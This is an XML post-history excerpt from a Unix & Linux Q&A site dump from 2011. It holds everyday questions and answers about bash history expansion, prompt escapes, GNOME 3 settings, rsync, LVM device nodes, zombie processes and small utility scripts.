  <row Id="27023" PostHistoryTypeId="5" PostId="11157" RevisionGUID="80b9cfed-043b-4e25-8888-41e16f869b5b" CreationDate="2011-04-12T09:10:29.893" UserId="1170" Comment="added 144 characters in body; added 68 characters in body" Text="The history event designator `!!` is replaced by the last command in history. Bash then first prints out the command how it will be executed, then executes it.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ foo&#xD;&#xA;    foo: command not found&#xD;&#xA;    $ !!&#xD;&#xA;    foo                     # command to be executed&#xD;&#xA;    foo: command not found  # result of execution&#xD;&#xA;&#xD;&#xA;In your case:&#xD;&#xA;&#xD;&#xA;    $ echo !&#xD;&#xA;    !&#xD;&#xA;    $ echo !!&#xD;&#xA;    echo echo !         # command to be executed&#xD;&#xA;    echo !              # result of execution&#xD;&#xA;    $ echo !!!&#xD;&#xA;    echo echo echo !!   # command to be executed&#xD;&#xA;    echo echo !!        # result of execution&#xD;&#xA;&#xD;&#xA;Read the bash manual for more information on [history event designators](http://www.gnu.org/software/bash/manual/bash.html#Event-Designators).&#xD;&#xA;" />
  <row Id="27024" PostHistoryTypeId="2" PostId="11159" RevisionGUID="1cf67f72-28fc-43b0-99c3-0bf97b3baf18" CreationDate="2011-04-12T10:14:04.997" UserId="3169" Text="It seems that any escape sequence actually in `PS1` literally needs to be wrapped in `\[` and `\]`, but if you call a function or command that produces output, it does not need to be wrapped.&#xD;&#xA;&#xD;&#xA;So why not just move the &#xD;&#xA;&#xD;&#xA;    &quot;\$(exit_code=\${?#0}&#xD;&#xA;    highlight_error \&quot;\${exit_code}\${exit_code:+ }\&quot;)&quot;&#xD;&#xA;&#xD;&#xA;stuff inside a function, e.g.&#xD;&#xA;&#xD;&#xA;    print_error_if_error()&#xD;&#xA;    {&#xD;&#xA;        exit_code=$?&#xD;&#xA;        if [ $exit_code -ne 0 ]; then&#xD;&#xA;            highlight_error &quot;$exit_code &quot;&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and then I think you can remove all the `\[` and `\]` stuff...&#xD;&#xA;&#xD;&#xA;    highlight()&#xD;&#xA;    {&#xD;&#xA;        if [ -x /usr/bin/tput ]&#xD;&#xA;        then&#xD;&#xA;            tput bold&#xD;&#xA;            tput setaf $1&#xD;&#xA;        fi&#xD;&#xA;        shift&#xD;&#xA;        printf -- &quot;$@&quot;&#xD;&#xA;        if [ -x /usr/bin/tput ]&#xD;&#xA;        then&#xD;&#xA;            tput sgr0&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    highlight_error()&#xD;&#xA;    {&#xD;&#xA;        highlight 1 &quot;$@&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    PS1='$(print_error_if_error)'&#xD;&#xA;&#xD;&#xA;    # ...&#xD;&#xA;&#xD;&#xA;    if [ &quot;$USER&quot; = 'root' ]&#xD;&#xA;    then&#xD;&#xA;        PS1=&quot;${PS1}$(highlight_error '\u')&quot;&#xD;&#xA;    else&#xD;&#xA;        PS1=&quot;${PS1}\u&quot;&#xD;&#xA;    fi&#xD;&#xA;" />
  <row Id="27025" PostHistoryTypeId="6" PostId="11125" RevisionGUID="34666253-f3c8-4546-a2d9-bad81df3c4f4" CreationDate="2011-04-12T10:23:22.077" UserId="4671" Comment="add lvm tag" Text="édebianàélvmàésoftwareöraidà" />
  <row Id="27026" PostHistoryTypeId="2" PostId="11160" RevisionGUID="ce2620dc-1219-4b9d-b76b-7ac6924f0ef0" CreationDate="2011-04-12T11:24:00.063" UserId="3169" Text="Did you try `g_content_type_get_icon ()`?&#xD;&#xA;&#xD;&#xA;You might need to call `g_content_type_from_mime_type ()` first.&#xD;&#xA;&#xD;&#xA;[GContentType docs](http://developer.gnome.org/gio/stable/gio-GContentType.html)" />
  <row Id="27027" PostHistoryTypeId="2" PostId="11161" RevisionGUID="251f0297-daee-4681-9069-16e9bf71b6cf" CreationDate="2011-04-12T11:27:13.270" UserId="688" Text="I tried setting it using `dconf-editor` and failed.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/nTtGh.png" />
  <row Id="27028" PostHistoryTypeId="1" PostId="11161" RevisionGUID="251f0297-daee-4681-9069-16e9bf71b6cf" CreationDate="2011-04-12T11:27:13.270" UserId="688" Text="How do I set GNOME 3 (fallback) icon theme to Tango?" />
  <row Id="27029" PostHistoryTypeId="3" PostId="11161" RevisionGUID="251f0297-daee-4681-9069-16e9bf71b6cf" CreationDate="2011-04-12T11:27:13.270" UserId="688" Text="égnome3à" />
  <row Id="27030" PostHistoryTypeId="5" PostId="11074" RevisionGUID="d81c2a17-f0a7-4654-a7f3-7df84f125be7" CreationDate="2011-04-12T11:27:19.277" UserId="1078" Comment="added 2 characters in body" Text="At the system call level this should be possible. A program can open your target file for writing without truncating it and start writing what it reads from stdin. When reading EOF, the output file can be truncated.&#xD;&#xA;&#xD;&#xA;Since you are filtering lines from the input, the output file write position should always be less than the read position. This means you should not corrupt your input with the new output.&#xD;&#xA;&#xD;&#xA;However, finding a program that does this is the problem. `dd(1)` has the option `conv=notrunc` that does not truncate the output file on open, but it also does not truncate at the end, leaving the original file contents after the grep contents (with a command like `grep pattern bigfile | dd of=bigfile conv=notrunc`)&#xD;&#xA;&#xD;&#xA;Since it is very simple from a system call perspective, I wrote a small program and tested it on a small (1MiB) full loopback filesystem. It did what you wanted, but you really want to test this with some other files first. It's always going to be risky overwriting a file.&#xD;&#xA;&#xD;&#xA;**overwrite.c**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #include &lt;sys/types.h&gt;&#xD;&#xA;    #include &lt;sys/stat.h&gt;&#xD;&#xA;    #include &lt;fcntl.h&gt;&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;stdlib.h&gt;&#xD;&#xA;    #include &lt;unistd.h&gt;&#xD;&#xA;    #include &lt;errno.h&gt;&#xD;&#xA;    &#xD;&#xA;    int main(int argc, char **argv)&#xD;&#xA;    {&#xD;&#xA;            int outfd;&#xD;&#xA;            char buf[1024];&#xD;&#xA;            int nread;&#xD;&#xA;            off_t file_length;&#xD;&#xA;    &#xD;&#xA;            if (argc != 2) {&#xD;&#xA;                    fprintf(stderr, &quot;usage: %s &lt;output_file&gt;\n&quot;, argv[0]);&#xD;&#xA;                    exit(1);&#xD;&#xA;            }&#xD;&#xA;            if ((outfd = open(argv[1], O_WRONLY)) == -1) {&#xD;&#xA;                    perror(&quot;Could not open output file&quot;);&#xD;&#xA;                    exit(2);&#xD;&#xA;            }&#xD;&#xA;            while ((nread = read(0, buf, sizeof(buf))) &gt; 0) {&#xD;&#xA;                    if (write(outfd, buf, nread) == -1) {&#xD;&#xA;                            perror(&quot;Could not write to output file&quot;);&#xD;&#xA;                            exit(4);&#xD;&#xA;                    }&#xD;&#xA;            }&#xD;&#xA;            if (nread == -1) {&#xD;&#xA;                    perror(&quot;Could not read from stdin&quot;);&#xD;&#xA;                    exit(3);&#xD;&#xA;            }&#xD;&#xA;            if ((file_length = lseek(outfd, 0, SEEK_CUR)) == (off_t)-1) {&#xD;&#xA;                    perror(&quot;Could not get file position&quot;);&#xD;&#xA;                    exit(5);&#xD;&#xA;            }&#xD;&#xA;            if (ftruncate(outfd, file_length) == -1) {&#xD;&#xA;                    perror(&quot;Could not truncate file&quot;);&#xD;&#xA;                    exit(6);&#xD;&#xA;            }&#xD;&#xA;            close(outfd);&#xD;&#xA;            exit(0);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You would use it as:&#xD;&#xA;&#xD;&#xA;    grep pattern bigfile | overwrite bigfile&#xD;&#xA;&#xD;&#xA;I'm mostly posting this for others to comment on before you try it. Perhaps someone else knows of a program that does something similar that is more tested." />
  <row Id="27031" PostHistoryTypeId="2" PostId="11162" RevisionGUID="9e7936fc-43b1-47d3-9587-e711707c0bf0" CreationDate="2011-04-12T11:34:42.517" UserId="1078" Text="These days `/dev/` is on tmpfs and is created from scratch each boot by `udev`. You can safely reboot and these links will come back.&#xD;&#xA;&#xD;&#xA;You should also find LVM simlinks to the `/dev/dm-X` nodes in the `/dev/&lt;vg&gt;` directories, one directory for each volume group. However, those re-created nodes will also work fine, assuming they have the right major/minor numbers - and it's a safe assumption they were created properly.&#xD;&#xA;&#xD;&#xA;You can probably also get `udev` to re-create the symlinks using `udevadm trigger` with an appropriate match, testing with `--dry-run` until it is right. It hardly seems worth the effort though when a reboot will fix it too." />
  <row Id="27032" PostHistoryTypeId="25" PostId="11156" RevisionGUID="d5965fcd-bf19-4fb9-8637-9944db2b6168" CreationDate="2011-04-12T12:09:06.957" Comment="http://twitter.com/#!/StackUnix/status/57777260958195712" />
  <row Id="27033" PostHistoryTypeId="2" PostId="11163" RevisionGUID="19ed754a-bb80-4132-b46a-15da5c73ca2d" CreationDate="2011-04-12T12:27:47.477" UserId="2333" Text="I'm trying to rum `rsync -a --files-from=~/.rsync_file_list ~/destination` and it tells me: `rsync error: syntax or usage error (code 1) at options.c(1652) [client=3.0.7]`. Can anyone enlighten me as to what I'm doing wrong?&#xD;&#xA;&#xD;&#xA;The file `~/.rsync_file_list` just contains a list of file names prefaced with `~/`, separated by newlines (though I've also tried listing them all on the same line, with the same result).&#xD;&#xA;&#xD;&#xA;If I run `rsync -a ~/file ~/file2 ~/file3 ~/destination` it works just fine. So what am I missing about the `--files-from` option?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="27034" PostHistoryTypeId="1" PostId="11163" RevisionGUID="19ed754a-bb80-4132-b46a-15da5c73ca2d" CreationDate="2011-04-12T12:27:47.477" UserId="2333" Text="rsync not using --files-from option?" />
  <row Id="27035" PostHistoryTypeId="3" PostId="11163" RevisionGUID="19ed754a-bb80-4132-b46a-15da5c73ca2d" CreationDate="2011-04-12T12:27:47.477" UserId="2333" Text="érsyncà" />
  <row Id="27036" PostHistoryTypeId="5" PostId="11162" RevisionGUID="260827bc-b00f-4de3-bd68-703be8ddcaf4" CreationDate="2011-04-12T12:32:14.307" UserId="1078" Comment="added 22 characters in body" Text="These days `/dev/` is on tmpfs and is created from scratch each boot by `udev`. You can safely reboot and these links will come back.&#xD;&#xA;&#xD;&#xA;You should also find LVM simlinks to the `/dev/dm-X` nodes in the `/dev/&lt;vg&gt;` directories, one directory for each volume group. However, those nodes re-created by `vgscan --mknodes` will also work fine, assuming they have the right major/minor numbers - and it's a safe assumption they were created properly.&#xD;&#xA;&#xD;&#xA;You can probably also get `udev` to re-create the symlinks using `udevadm trigger` with an appropriate match, testing with `--dry-run` until it is right. It hardly seems worth the effort though when a reboot will fix it too." />
  <row Id="27037" PostHistoryTypeId="2" PostId="11164" RevisionGUID="2ec789d0-c85e-4740-aa86-245c2cef58f8" CreationDate="2011-04-12T12:53:27.517" UserId="688" Text="There are sometimes multiple values for gsettings keys in GNOME apps, and I want to be able to list them. My `dconf-editor` (**0.7.3-4**) can't view them, so is there an existing alternative?" />
  <row Id="27038" PostHistoryTypeId="1" PostId="11164" RevisionGUID="2ec789d0-c85e-4740-aa86-245c2cef58f8" CreationDate="2011-04-12T12:53:27.517" UserId="688" Text="How do I browse for available gsettings options?" />
  <row Id="27039" PostHistoryTypeId="3" PostId="11164" RevisionGUID="2ec789d0-c85e-4740-aa86-245c2cef58f8" CreationDate="2011-04-12T12:53:27.517" UserId="688" Text="égnome3à" />
  <row Id="27040" PostHistoryTypeId="2" PostId="11165" RevisionGUID="126135b9-366a-41ea-b6b7-108f0b63e46e" CreationDate="2011-04-12T13:03:57.693" UserId="2343" Text="Here is a &quot;..hair of the dog that bit you&quot; method...  &#xD;&#xA;`diff` got you to this point; use it to take you further...  &#xD;&#xA;&#xD;&#xA;Here is the output from using the sample line pairs... `☻` indicates a TAB&#xD;&#xA;&#xD;&#xA;    Paris in the     spring &#xD;&#xA;    Paris in the the spring &#xD;&#xA;                 vvvv      ^&#xD;&#xA;    &#xD;&#xA;    A ca t on a hot tin roof.&#xD;&#xA;    a cant on a hot  in roof &#xD;&#xA;    ║   v           ^       ^&#xD;&#xA;    &#xD;&#xA;    the quikc brown box jupps ober the laze dogs &#xD;&#xA;    The☻qui ckbrown fox jumps over the lazy dogs &#xD;&#xA;    ║  ║   ^ ║      ║     ║    ║          ║     ^&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here is the script.. You just need to ferret out the line pairs somehow.. (I've used diff only once (twice?) before today, so I don't know its many options, and sorting out the options for this script was enough for me, for one day :) .. I think it must be simple enough, but I'm due for a coffee break ....    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # Name: hair-of-the-diff&#xD;&#xA;    # Note: This script hasn't been extensively tested, so beware the alpha bug :) &#xD;&#xA;    #   &#xD;&#xA;    # Brief: Uses 'diff' to identify the differences between two lines of text&#xD;&#xA;    #        $1 is a filename of a file which contains line pairs to be processed&#xD;&#xA;    #&#xD;&#xA;    #        If $1 is null &quot;&quot;, then the sample pairs are processed (see below: Paris in the spring &#xD;&#xA;    #          &#xD;&#xA;    # ║ = changed character&#xD;&#xA;    # ^ = exists if first line, but not in second &#xD;&#xA;    # v = exists if second line, but not in first&#xD;&#xA;     &#xD;&#xA;    bname=&quot;$(basename &quot;$0&quot;)&quot;&#xD;&#xA;    workd=&quot;/tmp/$USER/$bname&quot;; [[ ! -d &quot;$workd&quot; ]] &amp;&amp; mkdir -p &quot;$workd&quot;&#xD;&#xA;    &#xD;&#xA;    # Use $1 as the input file-name, else use this Test-data&#xD;&#xA;    # Note: this test loop expands \t \n etc ...(my editor auto converts \t to spaces) &#xD;&#xA;    if [[ &quot;$1&quot; == '' ]] ;then&#xD;&#xA;      ifile=&quot;$workd/ifile&quot;&#xD;&#xA;    { while IFS= read -r line ;do echo -e &quot;$line&quot; ;done &lt;&lt;EOF&#xD;&#xA;    Paris in the spring &#xD;&#xA;    Paris in the the spring&#xD;&#xA;    A cat on a hot tin roof.&#xD;&#xA;    a cant on a hot in roof&#xD;&#xA;    the quikc brown box jupps ober the laze dogs &#xD;&#xA;    The\tquickbrown fox jumps over the lazy dogs&#xD;&#xA;    EOF&#xD;&#xA;    } &gt;&quot;$ifile&quot;&#xD;&#xA;    else&#xD;&#xA;      ifile=&quot;$1&quot;&#xD;&#xA;    fi&#xD;&#xA;    #&#xD;&#xA;    [[ -f &quot;$ifile&quot; ]] || { echo &quot;ERROR: Input file NOT found:&quot; ;echo &quot;$ifile&quot; ;exit 1 ; }&#xD;&#xA;    #  &#xD;&#xA;    # Check for balanced pairs of lines&#xD;&#xA;    ilct=$(&lt;&quot;$ifile&quot; wc -l)&#xD;&#xA;    ((ilct%2==0)) || { echo &quot;ERROR: Uneven number of lines ($ilct) in the input.&quot; ;exit 2 ; }&#xD;&#xA;    #&#xD;&#xA;    ifs=&quot;$IFS&quot; ;IFS=$'\n' ;set -f&#xD;&#xA;    ix=0 ;left=0 ;right=1&#xD;&#xA;    while IFS= read -r line ;do&#xD;&#xA;      pair[ix]=&quot;$line&quot; ;((ix++))&#xD;&#xA;      if ((ix%2==0)) ;then&#xD;&#xA;        # Change \x20 to \x02 to simplify parsing diff's output,&#xD;&#xA;        #+   then change \x02 back to \x20 for the final output. &#xD;&#xA;        # Change \x09 to \x01 to simplify parsing diff's output, &#xD;&#xA;        #+   then change \x01 into ☻ U+263B (BLACK SMILING FACE) &#xD;&#xA;        #+   to the keep the final display columns in line. &#xD;&#xA;        #+   '☻' is hopefully unique and obvious enough (otherwise change it) &#xD;&#xA;        diff --text -yt -W 19  \&#xD;&#xA;             &lt;(echo &quot;${pair[0]}&quot; |sed -e &quot;s/\x09/\x01/g&quot; -e &quot;s/\x20/\x02/g&quot; -e &quot;s/\(.\)/\1\n/g&quot;) \&#xD;&#xA;             &lt;(echo &quot;${pair[1]}&quot; |sed -e &quot;s/\x09/\x01/g&quot; -e &quot;s/\x20/\x02/g&quot; -e &quot;s/\(.\)/\1\n/g&quot;) \&#xD;&#xA;         |sed -e &quot;s/\x01/☻/g&quot; -e &quot;s/\x02/ /g&quot; \&#xD;&#xA;         |sed -e &quot;s/^\(.\) *\x3C$/\1 \x3C  /g&quot; \&#xD;&#xA;         |sed -n &quot;s/\(.\) *\(.\) \(.\)$/\1\2\3/p&quot; \&#xD;&#xA;         &gt;&quot;$workd/out&quot;&#xD;&#xA;         # (gedit &quot;$workd/out&quot; &amp;)&#xD;&#xA;         &lt;&quot;$workd/out&quot; sed -e &quot;s/^\(.\)..$/\1/&quot; |tr -d '\n' ;echo&#xD;&#xA;         &lt;&quot;$workd/out&quot; sed -e &quot;s/^..\(.\)$/\1/&quot; |tr -d '\n' ;echo&#xD;&#xA;         &lt;&quot;$workd/out&quot; sed -e &quot;s/^.\(.\).$/\1/&quot; -e &quot;s/|/║/&quot; -e &quot;s/&lt;/^/&quot; -e &quot;s/&gt;/v/&quot; |tr -d '\n' ;echo&#xD;&#xA;        echo&#xD;&#xA;        ((ix=0))&#xD;&#xA;      fi&#xD;&#xA;    done &lt;&quot;$ifile&quot;&#xD;&#xA;    IFS=&quot;$ifs&quot; ;set +f&#xD;&#xA;    exit&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="27041" PostHistoryTypeId="2" PostId="11166" RevisionGUID="d476f6d1-124e-487c-9fec-c4bed7f822e4" CreationDate="2011-04-12T13:04:20.593" UserId="6524" Text="The other alternative if you previously used the Debconf package configuration questions to configure things would be to get the [preseed][1] information and use that to do your fresh install. You would retain your previously configured answers. You would likely still want to backup anything in `/etc` that may have been modified locally after debconf configuration. If you have `/home` as a separate partition you can just tell the installer not to re-format that partition and simply mount it as is as `/home` and your information will be retained as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/DebianInstaller/Preseed" />
  <row Id="27043" PostHistoryTypeId="2" PostId="11168" RevisionGUID="e972fc26-31f6-4f57-bbf1-669727a24ed2" CreationDate="2011-04-12T13:17:05.283" UserId="688" Text="With GNOME 2, I use my the volume control applet to change loudness levels. It doesn't load on GNOME 3 (fallback) applet, so I wonder what other UI can I use for this, preferably a GNOME one. " />
  <row Id="27044" PostHistoryTypeId="1" PostId="11168" RevisionGUID="e972fc26-31f6-4f57-bbf1-669727a24ed2" CreationDate="2011-04-12T13:17:05.283" UserId="688" Text="What app can I use to change sound levels in GNOME 3 (fallback)?" />
  <row Id="27045" PostHistoryTypeId="3" PostId="11168" RevisionGUID="e972fc26-31f6-4f57-bbf1-669727a24ed2" CreationDate="2011-04-12T13:17:05.283" UserId="688" Text="éaudioàégnome3à" />
  <row Id="27046" PostHistoryTypeId="5" PostId="11162" RevisionGUID="33846407-c155-4880-acfe-a453e7d1d341" CreationDate="2011-04-12T13:21:26.463" UserId="1078" Comment="deleted 1 characters in body" Text="These days `/dev` is on tmpfs and is created from scratch each boot by `udev`. You can safely reboot and these links will come back.&#xD;&#xA;&#xD;&#xA;You should also find LVM simlinks to the `/dev/dm-X` nodes in the `/dev/&lt;vg&gt;` directories, one directory for each volume group. However, those nodes re-created by `vgscan --mknodes` will also work fine, assuming they have the right major/minor numbers - and it's a safe assumption they were created properly.&#xD;&#xA;&#xD;&#xA;You can probably also get `udev` to re-create the symlinks using `udevadm trigger` with an appropriate match, testing with `--dry-run` until it is right. It hardly seems worth the effort though when a reboot will fix it too." />
  <row Id="27047" PostHistoryTypeId="5" PostId="11164" RevisionGUID="bd24a52d-6ad3-4010-b388-738665d805f8" CreationDate="2011-04-12T13:23:05.060" UserId="688" Comment="added 61 characters in body; added 4 characters in body; added 7 characters in body; added 2 characters in body" Text="There are certain gsettings keys that can have multiple values (e.g. a key like **verbosity** could be assigned to one `error`, `info`, or `debug`). I want to be able to list them, but my `dconf-editor` (**0.7.3**) can't view them. Is there an existing alternative?" />
  <row Id="27048" PostHistoryTypeId="5" PostId="10480" RevisionGUID="ee5b1883-7321-4751-9a47-bc76fb00c097" CreationDate="2011-04-12T13:31:23.720" UserId="6231" Comment="added 124 characters in body" Text="I just installed yellowdog linux 6.2 on an old PowerPC laptop.  &#xD;&#xA;&#xD;&#xA;By default, it's interpreting trackpad taps as clicks, which I want to disable.&#xD;&#xA;&#xD;&#xA;I followed [the directions here](http://www.ydl.net/support/solutions/ydl_2.x/mouse_buttons.shtml), and put `TRACKPAD_OPT=notap` in my `/etc/sysconfig/mouse-emulation` and rebooted, but taps are still interpreted as clicks.  Putting the setting in `/etc/sysconfig/mouse` instead (which I had to create) and rebooting didn't fix the problem either.&#xD;&#xA;&#xD;&#xA;What should I do?" />
  <row Id="27049" PostHistoryTypeId="2" PostId="11169" RevisionGUID="002422d3-49c2-41ea-92dd-19a2b50cb09b" CreationDate="2011-04-12T13:36:08.120" UserId="5075" Text="Finally I found the problem is caused by syslinux. You must have the right version to work with grml2usb. The best bet is to execute the grml2usb from the live system boot from the ISO. It must work, or blame the grml team :)" />
  <row Id="27051" PostHistoryTypeId="2" PostId="11170" RevisionGUID="f35f96d6-8b60-45b0-92ac-a36f96cbcc23" CreationDate="2011-04-12T13:42:06.040" UserId="2333" Text="Okay, I found the problem.&#xD;&#xA;&#xD;&#xA; 1. The file containing file names has to contain *only* file names; no paths, relative or otherwise;&#xD;&#xA; 2. After specifying `--files-from=FILE`, rsync requires a source directory in which to find the files listed.&#xD;&#xA;&#xD;&#xA;So the command should be `rsync -a --files-from=~/.rsync_file_list $HOME/ /destination`.&#xD;&#xA;&#xD;&#xA;`.rsync_file_list` should read:&#xD;&#xA;&#xD;&#xA;    file 1&#xD;&#xA;    file 2&#xD;&#xA;    file 3" />
  <row Id="27052" PostHistoryTypeId="2" PostId="11171" RevisionGUID="c37d5a15-258c-4b88-b2ab-d803ad31f970" CreationDate="2011-04-12T14:01:56.697" UserId="4485" Text=" * xxdiff: Another tool is xxdiff (GUI), which has to be installed, first. &#xD;&#xA; * spreadsheat: For database-data, a spreadsheat from csv is easily made, and a formular (A7==K7) ? &quot;&quot; : &quot;diff&quot; or similar inserted, and copy-pasted." />
  <row Id="27053" PostHistoryTypeId="2" PostId="11172" RevisionGUID="528aeb34-3ca5-43f2-9adb-6d5ee1bd1824" CreationDate="2011-04-12T14:02:41.813" UserId="6216" Text="Transmission is intermittently hanging on my NAS.  If I send SIGTERM, it doesn't disappear from the process list and a `&lt;defunct&gt;` label appears next to it.  If I send a SIGKILL, it still doesn't disappear and I can't terminate the parent because the parent is `init`.  The only way I can get rid of the process and restart Transmission is to reboot.&#xD;&#xA;&#xD;&#xA;I realize the best thing I can do is try and fix Transmission (and I've tried), but I'm a novice at compiling and I wanted to make sure my torrents finished before I start messing around with it." />
  <row Id="27054" PostHistoryTypeId="1" PostId="11172" RevisionGUID="528aeb34-3ca5-43f2-9adb-6d5ee1bd1824" CreationDate="2011-04-12T14:02:41.813" UserId="6216" Text="How can I kill a &lt;defunct&gt; process whose parent is init?" />
  <row Id="27055" PostHistoryTypeId="3" PostId="11172" RevisionGUID="528aeb34-3ca5-43f2-9adb-6d5ee1bd1824" CreationDate="2011-04-12T14:02:41.813" UserId="6216" Text="ékillàésignalsàéinità" />
  <row Id="27056" PostHistoryTypeId="2" PostId="11173" RevisionGUID="174ae6e2-a235-4e98-866b-78cda418ed01" CreationDate="2011-04-12T14:31:04.593" UserId="1170" Text="You cannot kill a `&lt;defunct&gt;` (zombie) process as it is already dead. The only reason why the system keeps zombie processes is to keep the PID for the parent to collect. If the parent does not collect the PID then the zombie processes will stay around forever. The only way to get rid of those zombie processes are by killing the parent. If the parent is init then you can only reboot.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Zombie_process" />
  <row Id="27058" PostHistoryTypeId="2" PostId="11175" RevisionGUID="5f685e13-65dc-4c38-82fb-f9e31d2cc5fc" CreationDate="2011-04-12T14:56:55.373" UserId="6525" Text="There is also the `dladdr()` function in libc, which returns the path to the binary in which the given function pointer exists, but:&#xD;&#xA;&#xD;&#xA; * It only exists on Linux and SunOS according to the man page.&#xD;&#xA; * You have to compile executables with `-rdynamic` for it to work. I don't think libraries needs that.&#xD;&#xA;&#xD;&#xA;For a library your options are far more limited: there is no `argv[0]` so your options are `dladdr()`, or the obscure hack of manual parsing of the Linux-only `/proc/self/maps` and looking for the memory address range containing the memory address of some library internal symbol (eg. a function pointer or a static variable).&#xD;&#xA;&#xD;&#xA;Other solutions I've seen in the wild:&#xD;&#xA;&#xD;&#xA; * `./configure --prefix=SOME_UNIQUE_VERY_LONG_STRING`, then at install time search and replace that long string in the binary (!!) with `/path/to/actual/install/prefix/suffixed/by/enough/slashes//////` and hope the user never renames anything in that path.&#xD;&#xA; * Virtualize the filesystem, either by `chroot()`, loop-mount, FUSE filesystem, hacked libc (Plash project), virtual machine, etc.&#xD;&#xA; * `./configure --prefix=..` and then never call `chdir()`. This will also break things if any path leaks out of the application and goes to another application, since the other application won't be able to correctly resolve the relative path.&#xD;&#xA; * Launch through a wrapper. Eg. Java applications always know their path via `getClass().getProtectionDomain().getCodeSource().getLocation()`, C# has `Application.StartupPath` among others, most scripting languages have some way.&#xD;&#xA;&#xD;&#xA;POSIX should really standardize `dladdr()`.&#xD;&#xA;" />
  <row Id="27059" PostHistoryTypeId="5" PostId="11173" RevisionGUID="3c41a4d3-3027-49bb-8977-21f94d74d2cd" CreationDate="2011-04-12T15:01:06.840" UserId="1170" Comment="added 16 characters in body" Text="You cannot kill a `&lt;defunct&gt;` (zombie) process as it is already dead. The only reason why the system keeps zombie processes is to keep the exit status for the parent to collect. If the parent does not collect the exit status then the zombie processes will stay around forever. The only way to get rid of those zombie processes are by killing the parent. If the parent is init then you can only reboot.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Zombie_process" />
  <row Id="27060" PostHistoryTypeId="6" PostId="11152" RevisionGUID="fa6186cc-6a82-48de-9ef6-a81959ec5742" CreationDate="2011-04-12T15:02:41.300" UserId="2421" Comment="edited tags" Text="égnomeàégtkàéiconsàégioà" />
  <row Id="27061" PostHistoryTypeId="6" PostId="11152" RevisionGUID="7fc0fca0-0ed4-4e1e-b5e7-cd8c1d8d1bf1" CreationDate="2011-04-12T15:03:30.850" UserId="2421" Comment="edited tags" Text="égnomeàégtkàémimeötypesàéiconsàégioà" />
  <row Id="27062" PostHistoryTypeId="25" PostId="11172" RevisionGUID="30dd6167-45a1-49d0-b7e0-24bac4acda81" CreationDate="2011-04-12T15:09:06.717" Comment="http://twitter.com/#!/StackUnix/status/57822558812246016" />
  <row Id="27063" PostHistoryTypeId="2" PostId="11176" RevisionGUID="99995438-a2a1-4e12-a4e0-4436d8c828a3" CreationDate="2011-04-12T15:41:15.590" UserId="1594" Text="I'm trying to copy or paste some text, in Chrome, on Google Docs, and getting this error:&#xD;&#xA;&#xD;&#xA;    your browser does not allow access to your computer's clipboard&#xD;&#xA;&#xD;&#xA;How to resolve it for Chrome ([this seems to be a resolution for Firefox][1])?&#xD;&#xA;&#xD;&#xA;(The reason I posted here is that this only happens to me on my linux/ubuntu - not on Windows)&#xD;&#xA;&#xD;&#xA;  [1]: http://kb.mozillazine.org/Granting_JavaScript_access_to_the_clipboard" />
  <row Id="27064" PostHistoryTypeId="1" PostId="11176" RevisionGUID="99995438-a2a1-4e12-a4e0-4436d8c828a3" CreationDate="2011-04-12T15:41:15.590" UserId="1594" Text="How to resolve &quot;your browser does not allow access to your computer's clipboard&quot; on Google Docs?" />
  <row Id="27065" PostHistoryTypeId="3" PostId="11176" RevisionGUID="99995438-a2a1-4e12-a4e0-4436d8c828a3" CreationDate="2011-04-12T15:41:15.590" UserId="1594" Text="échromeàéclipboardà" />
  <row Id="27066" PostHistoryTypeId="2" PostId="11177" RevisionGUID="1340c1b9-0f05-4840-a19a-f8f2a07e27cb" CreationDate="2011-04-12T15:59:52.923" UserId="298" Text="On linux, the timestamp is generated by the time() function.&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ man 2 time&#xD;&#xA;TIME(2)                    Linux Programmer's Manual                   TIME(2)&#xD;&#xA;&#xD;&#xA;NAME&#xD;&#xA;       time - get time in seconds&#xD;&#xA;&#xD;&#xA;SYNOPSIS&#xD;&#xA;       #include &lt;time.h&gt;&#xD;&#xA;&#xD;&#xA;       time_t time(time_t *t);&#xD;&#xA;&#xD;&#xA;DESCRIPTION&#xD;&#xA;       time()  returns  the  time  since  the  Epoch (00:00:00 UTC, January 1,&#xD;&#xA;       1970), measured in seconds.&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="27067" PostHistoryTypeId="2" PostId="11178" RevisionGUID="1f615132-6e4a-46cd-aa32-5e7ebfcfc192" CreationDate="2011-04-12T16:53:58.177" UserId="6215" Text="I often use only two applications, **terminal** and **web browser**.&#xD;&#xA;&#xD;&#xA;I like the **tmux** application which enables to split a terminal window into more regions. I noticed that I can open **lynx** in another region and have a browser and terminal displayed at the same time. But command-line browsers aren't very nice for viewing web pages.&#xD;&#xA;&#xD;&#xA;**Konqueror** is able to split a web page into more regions. It would be great if there was a browser which could display a web page in one region and a terminal in another region.&#xD;&#xA;&#xD;&#xA;Is there already a program combining web browser and terminal?&#xD;&#xA;&#xD;&#xA;thank you for advice" />
  <row Id="27068" PostHistoryTypeId="1" PostId="11178" RevisionGUID="1f615132-6e4a-46cd-aa32-5e7ebfcfc192" CreationDate="2011-04-12T16:53:58.177" UserId="6215" Text="Terminal and web browser combination" />
  <row Id="27069" PostHistoryTypeId="3" PostId="11178" RevisionGUID="1f615132-6e4a-46cd-aa32-5e7ebfcfc192" CreationDate="2011-04-12T16:53:58.177" UserId="6215" Text="éterminalàéscreenàétmuxàébrowserà" />
